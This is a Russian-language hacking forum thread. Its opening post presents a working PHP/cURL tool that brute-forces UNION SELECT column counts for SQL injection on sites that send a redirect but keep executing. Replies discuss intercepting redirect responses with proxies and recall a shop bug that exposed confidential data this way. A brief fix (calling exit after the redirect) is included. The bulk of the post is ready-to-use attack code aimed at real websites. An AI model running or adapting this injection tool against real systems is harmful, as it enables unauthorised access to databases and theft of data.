Многие сталкивались с ситуацией когда при SQL инъекции, была переадресация на Index страницу. Решил провести маленький эксперемент, попробывать получать страницу с ответом, без каких либо переадресаций, написал маленький РНР скриптик на скорую руку на cURL'e, т.к. там есть возможность, использовать опцию, да и вообще кУРЛ быстрый и очень удобный инструмент: описание: CURLOPT_FOLLOWLOCATION: При установке этого параметра в ненулевое значение, при получении HTTP заголовка "Location: " будет происходить перенаправление на указанный этим заголовком URL (это действие выполняется рекурсивно, для каждого полученного заголовка "Location:"). Собсно результат был успешным, скрин: http://i073.radikal.ru/0902/ab/f85a1ef62a4f.png сам скриптик: PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>SQLINJ tool</title> <style type="text/css"> <!-- body { background-color: #666633; } .style1 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #999966; cursor: crosshair; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; } .style2 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #F4F4F4; font-size: 12px; } .input { background-color: #666633; } a:link { color: #DDDDDD; text-decoration: none; } a:visited { color: #DDDDDD; text-decoration: none; } a:hover { text-decoration: none; color: #CCCC33; } a:active { text-decoration: none; color: #FFFF33; } body,td,th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } --> </style> </head> <body> <div align="center"> <h1 class="style1">SQLINJ Tool</h1> <p> </p> <table width="580" border="1" align="center"> <form id="form1" name="form1" method="post" action=""> <tr> <td width="54" align="center">URL:</td> <td width="510"><input name="url" type="text" class="input" size="85" /></td> </tr> <tr> <td align="center">Columns:</td> <td><input name="count_columns" type="text" class="input" size="85" /></td> </tr> <tr> <td colspan="2" align="center"><input name="button" type="submit" class="input" value="go brute" /></td> </tr> </form> </table> <br /> <?php set_time_limit(0); if(!isset($_POST['url'],$_POST['count_columns'])) { exit; } $url = trim($_POST['url']); $count_columns = trim($_POST['count_columns']); $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"; $sql = "+UNION+SELECT+0x53714C694E6A5F31"; $work_url = $url.$sql; $work_url_dig = $url."+UNION+SELECT+1"; $ref = "http://www.rambler.ru/search.php?reklama"; for ($i=2;$i<$count_columns + 2;$i++) { $ch = curl_init($work_url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); $res = curl_exec($ch); if(preg_match('#SqLiNj\_[0-9]{1,3}#i', $res, $matches)) { echo '<table width="50%" border="1" align="center"><tr><td>Результат:</td></tr><tr><td>'; echo "Найдено соответсвие: ".$matches[0]."<br>"; echo "Хэкс эквивалент колонок :<br>".$work_url."<br>"; echo "Числовой эквивалент колонок :<br>".$work_url_dig."<br>"; $count_dig = explode("_",$matches[0]); echo "Принтабельная колонка - <b>".$count_dig[1]."</b>"; break; echo '</td></tr></table>'; } $work_url .= ",0x".bin2hex("SqLiNj_$i"); $work_url_dig .= ",$i"; } ?> </body> </html> Причиной тому является быдлокодинг разработчиков скрипта, работающий по системе - если переменная (к примеру id=1) равна не целочисленомму значению (if(!is_numeric($id))), идет редирект на Индекс (header("Location: http://www.example.com/"); ) Уязвимая часть кода выглядит так: PHP: <?php $id = $_GET['id']; if(!is_numeric($id)) header("Location: http://www.example.com/"); # Остальная часть скрипта... ?> Правильнее дописать остановку выполнения остальной части коды/скрипта после условия: PHP: <?php $id = $_GET['id']; if(!is_numeric($id)) { header("Location: http://www.example.com/"); exit; } # Остальная часть скрипта не грузится... ?>
помоему если я не ошибаюсь, в акунетиксе есть http editor который позволяет просматривать ответы сервера без всяких редеректов
Тык если переадресация случается,разве не означает это,что всё потеряно?))Фильтрация-то сработала...У меня случался редирект только тогда,когда я передавал кривые параметры )
Ну переадресация в основном случается в случае не правильного указания параметра...и это не обязательно фильтрация...
была когда-то бага в шопе каком-то, при ответе сервера о неверности пасворда он слал в хиедере - location:index.php, так вот через парос прокси этот ответ прибивался до обработки его браузером, и мы оставались на той же странице, с возможностью просмотра конфиденциальной информации. Из чего следует, что парос - это не инет крак, он позволяет эдитить ответы-приветы ДО их обработки браузером, что иногда очень полезно. есть еще плуг к лисе подобный.
Ну вобше в более менее нормальном приложении должно идти остановка скрипта после переадресации : PHP: if(!is_numeric($id)) { header("Location: http://site/index.php"); die;//exit } это относительно нечастые случаи(когда нету остановки выполнения скрипта) но все же случаються,а за старание + однозначно.